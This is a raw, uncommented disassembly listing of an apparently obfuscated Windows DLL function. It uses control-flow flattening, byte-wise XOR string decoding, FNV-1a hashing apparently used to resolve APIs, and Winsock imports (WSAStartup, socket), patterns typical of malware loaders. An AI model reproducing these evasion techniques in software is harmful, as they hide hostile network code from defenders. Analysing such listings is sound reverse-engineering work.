cmp ecx, 0x94229d39
jne 0x1800bd830
mov edx, 0xe
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd830
mov dword [rsp + 0x68], 0x65
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 7], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd8b4
cmp ecx, 0x94229d39
jne 0x1800bd890
mov edx, 0xf
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd890
mov dword [rsp + 0x68], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 8], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd914
cmp ecx, 0x94229d39
jne 0x1800bd8f0
mov edx, 0x10
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd8f0
mov dword [rsp + 0x68], 0x74
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 9], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd974
cmp ecx, 0x94229d39
jne 0x1800bd950
mov edx, 0x11
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd950
mov dword [rsp + 0x68], 0x48
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0xa], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd9d4
cmp ecx, 0x94229d39
jne 0x1800bd9b0
mov edx, 0x12
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd9b0
mov dword [rsp + 0x68], 0x65
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0xb], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bda34
cmp ecx, 0x94229d39
jne 0x1800bda10
mov edx, socket
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bda10
mov dword [rsp + 0x68], 0x61
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0xc], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bda94
cmp ecx, 0x94229d39
jne 0x1800bda70
mov edx, socket
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bda70
mov dword [rsp + 0x68], 0x64
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0xd], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bdaf4
cmp ecx, 0x94229d39
jne 0x1800bdad0
mov edx, socket
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bdad0
mov dword [rsp + 0x68], 0x65
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0xe], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bdb54
cmp ecx, 0x94229d39
jne 0x1800bdb30
mov edx, socket
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bdb30
mov dword [rsp + 0x68], WSAStartup
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0xf], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bdbb4
cmp ecx, 0x94229d39
jne 0x1800bdb90
mov edx, reloc.WS2_32.dll_socket
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bdb90
mov dword [rsp + 0x68], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 0x10], cl
add rsi, 0x11
mov rax, qword [rsp + 0x60]
add rax, 0x1a
mov qword [rsp + 0x298], rax
mov eax, 0x27319c4e
jmp 0x1800bd450
mov rcx, rbx
call fcn.1800c1f00
mov ecx, dword [0x1801294f8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801294fc], 0xa
setl dl
or dl, cl
mov r8d, 0x6b3afa7f
mov ecx, 0xd9a22da7
cmovne r8d, ecx
mov r9d, 0x6b3afa7f
mov ecx, 0xa024a977
cmovne r9d, ecx
mov r14d, 0xa01aa426
mov ecx, 0x95eaf0dc
cmovne r14d, ecx
mov r12d, 0xa01aa426
mov ecx, 0x9aca454
cmovne r12d, ecx
mov ebx, 0x96d144b1
jmp 0x1800bdc90
movsxd rcx, r10d
xor rcx, qword [rsp + 0x298]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov edx, dword [rsp + 0x40]
add edx, 1
mov ebx, 0x126ae241
nop dword [rax]
mov esi, ebx
cmp ebx, 0x9aca453
jle 0x1800bdcf0
cmp esi, 0x4bacb182
jle 0x1800bdd40
cmp esi, 0x5751c9b6
jle 0x1800bdddc
cmp esi, 0x77e83218
jg 0x1800bdece
cmp esi, 0x5751c9b7
je 0x1800bdef3
mov ebx, esi
cmp esi, 0x6b3afa7f
jne 0x1800bdc90
mov esi, dword [rsp + 0x60]
mov esi, dword [rsp + 0x60]
mov ebx, 0xa024a977
jmp 0x1800bdc90
cmp esi, 0xba417c88
jg 0x1800bdda0
cmp esi, 0xa024a976
jg 0x1800bde1a
cmp esi, 0x95eaf0dc
je 0x1800bdefd
cmp esi, 0x96d144b1
je 0x1800bdf0c
mov ebx, esi
cmp esi, 0xa01aa426
jne 0x1800bdc90
mov ebx, 0x9aca454
jmp 0x1800bdc90
cmp esi, 0x140ee926
jg 0x1800bde56
mov ebx, r14d
cmp esi, 0x9aca454
je 0x1800bdc90
cmp esi, 0x11a33ffd
je 0x1800bdf16
mov ebx, esi
cmp esi, 0x126ae241
jne 0x1800bdc90
mov dword [rsp + 0x40], edx
mov qword [rsp + 0x298], rcx
mov esi, dword [rsp + 0x48]
mov ebx, dword [rsp + 0x40]
cmp ebx, esi
mov ebx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb ebx, esi
jmp 0x1800bdc90
cmp esi, 0xdaa262c9
jg 0x1800bde96
cmp esi, 0xba417c89
je 0x1800bdc68
cmp esi, 0xc68ca180
je 0x1800bdf23
mov ebx, esi
cmp esi, 0xd9a22da7
jne 0x1800bdc90
mov ebx, 0xf648bac2
jmp 0x1800bdc90
cmp esi, 0x4bacb183
je 0x1800bdf4d
mov ebx, r9d
cmp esi, 0x52c11306
je 0x1800bdc90
mov ebx, esi
cmp esi, 0x568f1370
jne 0x1800bdc90
mov esi, dword [rsp + 0x48]
add esi, 1
mov dword [rsp + 0x68], esi
mov ebx, 0xdaa262ca
jmp 0x1800bdc90
cmp esi, 0xa024a977
je 0x1800bdf63
cmp esi, 0xb3dd72df
je 0x1800bdfa9
mov ebx, esi
cmp esi, 0xb78226fb
jne 0x1800bdc90
mov esi, dword [rsp + 0x54]
cmp esi, 0x7f
setl byte [rsp + 0x7e]
mov ebx, 0xee7ccbb7
jmp 0x1800bdc90
cmp esi, 0x140ee927
je 0x1800bdfce
cmp esi, 0x22a3f0a1
je 0x1800bdfdd
mov ebx, esi
cmp esi, 0x38d2119f
jne 0x1800bdc90
cmp byte [rsp + 0x80], 0
mov ebx, 0x140ee927
mov esi, 0x52c11306
cmovne ebx, esi
jmp 0x1800bdc90
mov ebx, r12d
cmp esi, 0xdaa262ca
je 0x1800bdc90
cmp esi, 0xee7ccbb7
je 0x1800bdff3
mov ebx, esi
cmp esi, 0xf648bac2
jne 0x1800bdc90
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x58]
jmp 0x1800bdc90
cmp esi, 0x7f221d67
jne 0x1800be00a
mov esi, dword [rsp + 0x60]
cmp esi, 0x5b
setl byte [rsp + 0x80]
mov ebx, 0x38d2119f
jmp 0x1800bdc90
mov ebx, 0x4bacb183
jmp 0x1800bdc90
mov ebx, 0xc68ca180
mov r11d, dword [rsp + 0x68]
jmp 0x1800bdc90
mov ebx, 0x11a33ffd
jmp 0x1800bdc90
mov ebx, 0xc68ca180
xor r11d, r11d
jmp 0x1800bdc90
mov dword [rsp + 0x48], r11d
mov esi, dword [rsp + 0x48]
movsx esi, byte [rax + rsi]
mov dword [rsp + 0x54], esi
mov esi, dword [rsp + 0x54]
cmp esi, 0x20
mov ebx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge ebx, esi
jmp 0x1800bdc90
mov ebx, 0x126ae241
xor edx, edx
movabs rcx, 0xcbf29ce484222325
jmp 0x1800bdc90
mov esi, dword [rsp + 0x60]
mov ebx, esi
not ebx
mov ebp, esi
and ebp, 0x4048890
mov edi, ebx
and edi, 0x9021040a
or edi, ebp
mov ebp, esi
and ebp, 0x6bda7345
and ebx, 0x20
or ebx, 0x6b822240
xor ebx, ebp
or ebx, edi
and esi, 0x20
or esi, 0xfba3264a
xor esi, ebx
mov dword [rsp + 0x58], esi
mov ebx, r8d
jmp 0x1800bdc90
mov rsi, qword [rsp + 0x70]
movsx esi, byte [rsi]
mov dword [rsp + 0x60], esi
mov esi, dword [rsp + 0x60]
cmp esi, 0x41
mov ebx, 0x140ee927
mov esi, 0x7f221d67
cmovge ebx, esi
jmp 0x1800bdc90
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x60]
jmp 0x1800bdc90
mov esi, dword [rsp + 0x40]
add rsi, rax
mov qword [rsp + 0x70], rsi
mov ebx, 0xb3dd72df
jmp 0x1800bdc90
cmp byte [rsp + 0x7e], 0
mov ebx, 0x5751c9b7
mov esi, 0x568f1370
cmovne ebx, esi
jmp 0x1800bdc90
mov ebx, esi
cmp esi, 0x77e83219
jne 0x1800bdc90
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x128], rax
mov eax, 0x983d6c75
lea r14, [rsp + 0x298]
jmp 0x1800b0630
cmp eax, 0xb8ce1bb5
jne 0x1800b0630
mov rax, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xc0]
mov esi, dword [rsp + 0x84]
and sil, 1
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1800fabf0
mov eax, esi
add rsp, 0x4e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret